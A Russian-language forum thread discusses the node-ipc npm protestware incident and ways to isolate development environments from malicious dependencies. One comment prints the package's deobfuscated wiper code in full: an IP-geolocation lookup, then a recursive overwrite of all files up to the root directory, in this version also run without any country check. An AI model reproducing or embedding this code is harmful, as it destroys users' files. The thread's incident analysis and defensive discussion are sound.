LINUX.ORG.RU

Специальный вредоносный код в npm-пакете для России и Белоруссии

 ,


3

3

Разработчик популярного npm-пакета node-ipc добавил в проект код, который совершает запросы на удаленный сервер и при совпадении IP-адреса с Российским или Белорусским перезаписывает содержимое всех файлов на жестком диске на эмоджи-сердечко (♥).

Пакет node-ipc стоит в зависимости более чем у 300 других не менее популярных проектов, в том числе из экосистемы Vue.js (vue/cli)

Незадолго до этого тот же самый разработчик добавил в реестр npm модуль peacenotwar, который выводил в консоль сообщение со словами [данные удалены] и создает в нескольких поддериктория домашнего каталога файл WITH-LOVE-FROM-AMERICA.txt с содержимом на множестве языков мира.

Пакет peacenotwar так же был включен в зависимости для node-ipc

Вредоносный код, затирающий файлы, был добавлен в пакет node-ipc 7 марта в версии 10.1.1

Несмотря на то, что спустя некоторое время пакет был помечен как deprecated, его успели скачать несколько тысяч раз.

На данный момент текущая версия пакета 11.1.0 больше не содержит вредоносный код, затирающий файлы сердечком, но все еще содержит в зависимостях модуль peacenotwar, который больше не выводит сообщения в консоль, но создает файлы WITH-LOVE-FROM-AMERICA.txt в домашнем каталоге.

Подробности об уязвимости

цена свободы, чо уж тут. проблема нерешаема.

Anoxemian ★★★★★
()
Ответ на: комментарий от The_Coon

Как тебя спасет виртуалка от мейнтенера любого пакета в любых репозиториях, в том числе репозиториях дистрибутивов, когда он захочет проявить свою активную политическую позицию?

javascript
() автор топика

неплохо, неплохо.

Спасибо за информацию.
В любом случае, подобные действия это дорога в один конец.

P.S. Ах-ха-ха, там в списках зависящих — «potato-timer»

kolja ★★
()

любителей битлов не любят

ustas1
()

node-ipc

нет у меня такого пакета, ваще то я думал винда будет нечто подобным заниматься, но клоуны из опенсорса превзошли сами себя

amd_amd ★★★★★
()

для дебианоподобных

Положите в /etc/apt/preferences.d/(любое имя, например имя этого пакета) файлик с содержанием

Package: (имя пакета)
Pin: origin ""
Pin-Priority: -1
amd_amd ★★★★★
()

А почему этот «разработчик» всё ешё что-то там пишет, а не живёт на пособие по инвалидности?

ashot ★★★★
()

Деобфусцированный внедренный вредоносный код.

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) return;
    
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                // checks if country is Russia or Belarus
                const hasRus = userCountryName.includes(russia.toString("utf8")) 
                            || userCountryName.includes(belarus.toString("utf8"));
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // overwrites file with `❤️`
                fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {});
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

После обнаружения во множестве тредов обсуждений сам разработчик стал очень активно отрицать сначала саму вредоносность этого кода, потом возможность его исполнения, ссылаясь на то, что для его работы необходим валидный api-ключ к сервису гео-локации, который он уже отозвал. При этом другими разработчиками анализ был проведен в то время, когда api-ключ был еще действительным. Так же он активно трет любые комментарии в его репозитории прямо указывающие на все то, что он теперь отрицает.

На гитхабе сохранились все коммиты с инъекциями, а так же множество обсуждений в различных затронных проектах и в гистах, со скриншотами и пруфами.

javascript
() автор топика
Последнее исправление: javascript (всего исправлений: 2)
Ответ на: комментарий от no-such-file

Я сомневаюсь, что это имеет какой-то смысл. Не так давно я кинул репорт на репозиторий https://github.com/opengs/uashield в описании которого было буквально написано:

«platform to counter attack Russian forces in the Internet DDoS software»

Спустя почти неделю мне пришел ответ от саппорта - спасибо, мы проверим.
После чего (ну, скорее всего репорт кидал не я один) у репозитория просто изменилось описание, но не изменилась суть.
Конец.

javascript
() автор топика
Ответ на: комментарий от javascript

Ну тут немного другой случай. Балалайка для дудоса действительно может рассматриваться как для «образовательных целей», а тут реальная малварь в нарушение terms of service.

no-such-file ★★★★★
()

Ожидаемо. Сейчас вообще обновлять что-либо опасно. А уж пользоваться такими помойками, это совсем уже ССЗБ.

bread
()
Ответ на: комментарий от James_Holden

Там кучка костылей поверх классической пакетной системы. Например, ядро не обновляется через apt, для обновления ядра есть отдельный скрипт update-kernel.

Aceler ★★★★★
()
Ответ на: комментарий от Aceler

Мелочи жизни какие-то. Но почему-то я сидел на альте раньше и даже не знаю этого. Либо незаметно как-то сделано, либо… даже не знаю что.

James_Holden ★★★
()

Добавил и добавил. Никогда не доверял этим линуксам.

One ★★★★★
()
Ответ на: комментарий от javascript

Проблема в npm, так как это помойка где любой может опубликовать пакет. В мейнтейнеры дистрибутивов есть хоть какой-то фильтр и до сих пор таких эксцессов не было. А в npm далеко не в первый раз появляется вредоносный пакет. Просто прошлые разы они были для всего мира, а теперь с геотаргетингом. Но это ничего принципиально не меняет. В npm регулярно выкладывают вредоносный код.

KivApple ★★★★★
()

Как хорошо что в closed source такого никто не увидит.

KillTheCat ★★★★★
()

Привыкайте, это новые реальности IT в России.

Англичане уже придумали новое название для такого софта: protestware

Нашёл ссылочку, добрые люди каталогизируют это добро, может кому пригодится. Хотя там в основном баннеры.

https://docs.google.com/spreadsheets/d/1H3xPB4PgWeFcHjZ7NOPtrcya_Ua4jUolWm-7z9-jSpQ/htmlview?pru=AAABf7s9x70*VLYteL3k1LMPSc_9JcztZQ

Legioner ★★★★★
()
Последнее исправление: Legioner (всего исправлений: 3)

В связи с этим возникает вопрос. В чём лучше вести разработку, чтобы не встать в подобное? Виртуалка? Или хватит LXC какого-нибудь? Я хоть и не работаю с node'ой и её пакетами, а основной язык Python, но в pypi.org тоже могут накидать подобного. Ведь ничего не мешает? В общем, посоветуйте, как лучше отгородить рабочую среду от основной системы. Используемое:
* Python
* PyCharm
* Docker (оно внутри LXC работает? пробовал кто?)
* OpenCV
* TF Keras
Проект жирный, гигов под 100 и количество файлов приближается к 2M. Локального обучения у меня не производится, только inference. Иногда коду нужна работа с web камерой. Хорошо бы, чтобы в огороженном виде оно не тормозило.

ls-h ★★★★★
()
Ответ на: комментарий от Legioner

Какой-то левый список. Озаглавлен как «список малвари и шифровальщиков в Opensource». А по факту видим там и не малварь, и не opensource.

maxcom ★★★★★
()
Ответ на: комментарий от Legioner

это новые реальности IT в России

А тебе не приходило в голову, что в ответ прилетят такие же пакеты? А может и не пакеты, у автора есть конкретное имя-фамилия и место жительства. В общем, тупорылый расизм и разжигание. Рано или поздно такие пациенты окажутся на бутылке, причём от своих же.

no-such-file ★★★★★
()
Последнее исправление: no-such-file (всего исправлений: 1)
Ответ на: комментарий от Landgraf

Я думаю вопрос не про кеш, а про защиту окружения разработки в которое может приехать что-то вредоносное.

maxcom ★★★★★
()

Концепция zero trust выходит на новый уровень. И это хорошо, разработчики будут чуть больше думать о безопасности, проверять хэши скачанных и заранее валидированных пакетов / зависимостей.

Сказал я и начал думать, как бы самому начать это делать.

Irben ★★★
()
Ответ на: комментарий от no-such-file

А тебе не приходило в голову, что в ответ прилетят такие же пакеты?

Вряд ли, запад от того же касперского старается отказываться, например. Ну и в целом сомневаюсь, что вклад ненавидящих запад программистов в опен-сорс так велик, хотя шансы, конечно, есть.

А может и не пакеты, у автора есть конкретное имя-фамилия и место жительства.

И что к нему прилетит?

В общем, тупорылый расизм и разжигание.

Расизма тут нет, дискриминация идёт по территории проживания, а не по расе или национальности.

Рано или поздно такие пациенты окажутся на бутылке, причём от своих же.

Было бы неплохо. Думаю, репутацию свою в опен-сорс сообществе этот товарищ подмочил. Не то, чтобы она многое значила, да и кто там следит, кто под ником сидит, но всё же.

Legioner ★★★★★
()
Ответ на: комментарий от Irben

проверять хэши скачанных и заранее валидированных пакетов / зависимостей.

Ну вот проверил ты хеш, пакет валидный. Тут же разраб сам кукухой двинулся, а не просто левый кто-то пакет угнал

upcFrost ★★★★★
()
Ответ на: комментарий от upcFrost

Ну вот проверил ты хеш, пакет валидный. Тут же разраб сам кукухой двинулся, а не просто левый кто-то пакет угнал

Поэтому я и написал «валидированных пакетов / зависимостей». То есть надо заранее проверить пакет, чтобы он не был вредоносным и удовлетворял требованиям, далее эту версию и хэш мы сохраняем и при скачивании проверяем. Надо бы, конечно, локальный кэш хранить, но это не всегда возможно. Версию пакета в репозитории можно подменить, я помню с Ubuntu такое было, когда они залатали дыру и вроде бы докер образ обновили, переписав версию. Поэтому надо проверять и хэш.

Irben ★★★
()
Ответ на: комментарий от Irben

Мне кажется, это сложная задача. Пока я не видел каких-то адекватных мер по сдерживанию таких угроз.

Навскидку:

  1. Предпочитать пакетные менеджеры, где зависимости не выполняют код при установке. Например maven. Не то, чтобы был выбор, но всё же.

  2. Разрабатываемый код запускать хотя бы в докере, а лучше в отдельной виртуальной машине, из которой прокинуты только порты для отладчика.

  3. Если библиотека может запускать код при сборке, то и сборка должна быть в виртуальной машине. Но вообще это сложно. К примеру в Java библиотека может делать annotation processing. IDE постоянно компилирует код, чтобы предоставлять нужный функционал. То бишь я плохо представляю, как можно это всё защитить не суя всю IDE в виртуальную машину.

В целом можно засунуть весь процесс разработки в виртуальную машину, но я не уверен, насколько это целесообразно, т.к. виртуальная машина станет твоим основным местом работы и её компрометация будет нести примерно такие же последствия, как компрометация хоста.

На мой взгляд эта задача в общем виде плохо решается. Можно её решать в частном виде. Например если это Java, отключаем в IDE annotation processing, отказываемся от библиотек, которые его хотят, процесс сборки и запуска суём в виртуальную машину или хотя бы в докер. В целом это будет достаточно безопасно. Но усилий по настройке уйдёт много.

Legioner ★★★★★
()
Ответ на: комментарий от Legioner

Нет, конечно не много. И я не призываю кого-то делать эту работу за меня. Но если сейчас есть код, который работает с определёнными библиотеками и проходит тесты, имеет смысл закрепить всё это дело, ну а далее по мере необходимости софта проверять обновления и если не происходит такого, как в топике, то обновляться. Желательно для этого иметь CI или ходя бы в контейнере гонять тесты, иначе можно лишиться рабочей машины на время восстановления из бэкапов.

Irben ★★★
()
Ответ на: комментарий от Irben

разработчики будут чуть больше думать о безопасности

Не будут

ya-betmen ★★★★★
()
Ответ на: комментарий от Irben

Вопрос аудита пакетов, как мне кажется, пока не решён. Хотя было бы неплохо. Но за это надо платить. И если писать софт бесплатно есть какой-то смысл (интерес, карьера), то делать review каждого коммита это адская каторга, которую бесплатно точно никто делать не будет. А должен делать не кто-то, а тот, кому ещё и доверять можно. Все мы понимаем, с какой охотой компании платят за используемые ими библиотеки. А за review уж тем более платить никто не будет.

Может, конечно, я ошибаюсь в каком-то пункте. Но вопрос намеренного вредительства в библиотеках возник не сегодня, а воз и ныне там. Значит всех всё устраивает.

Legioner ★★★★★
()
Последнее исправление: Legioner (всего исправлений: 1)
Ответ на: комментарий от ya-betmen

Зависит от их количества. Я обычно фиксирую major.minor, а багфикс оставляю чтоб на каждый чих не перебирать образ. Фиксировать багфикс какого-нибудь libphonenumber с циклом два релиза в месяц это ппц геморрой

upcFrost ★★★★★
()
Ответ на: комментарий от maxcom

а про защиту окружения разработки в которое может приехать что-то вредоносное.

Именно! Ох, если сам maxcom озадачился вопросом, значит всё плохо совсем...

ls-h ★★★★★
()
Ответ на: комментарий от Legioner

Англичане уже придумали новое название для такого софта: protestware

Вот ведь ничему людей жизнь не учит. Будет как с поставкой оружия бородочам в 80х - оно protest пока где-то ещё, а так сходу станет terroristware

upcFrost ★★★★★
()
Ответ на: комментарий от ls-h

Я давно думаю что все эти maven central – потенциальная дыра, там даже подписей пакетов нет. И еще в Java решили выпилить security manager, раньше хоть можно было настроить права разным зависимостям (Elasticsearch, например, так избежал дыры log4j).

maxcom ★★★★★
()

Только вчера кулстори про Deno слушал. Насколько я понимаю, там подобное дерьмо не прокатит. Алсо, я думаю что именно в этом и мотивация создания Deno была. Нездоровое сообщество сложилось вокруг npm. Да и вообще: «Всё о чём шутили на ЛОРе оказалось правдой».

perl5_guy ★★★★★
()
Последнее исправление: perl5_guy (всего исправлений: 1)
Ответ на: комментарий от modest

Вот: https://www.youtube.com/watch?v=cpQwtwVKAfU За первые 5-10 минут рассказывают про Дину.

Кстати, там рассказывают про достаточно интересный разрабатываемый язык. Так что палю годноту. Лайк если понравится :3

perl5_guy ★★★★★
()
Ответ на: комментарий от Irben

Концепция zero trust выходит на новый уровень.

Ты говоришь так, как будто первый раз в публичных репозиториях находят малварь.

oldstable
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.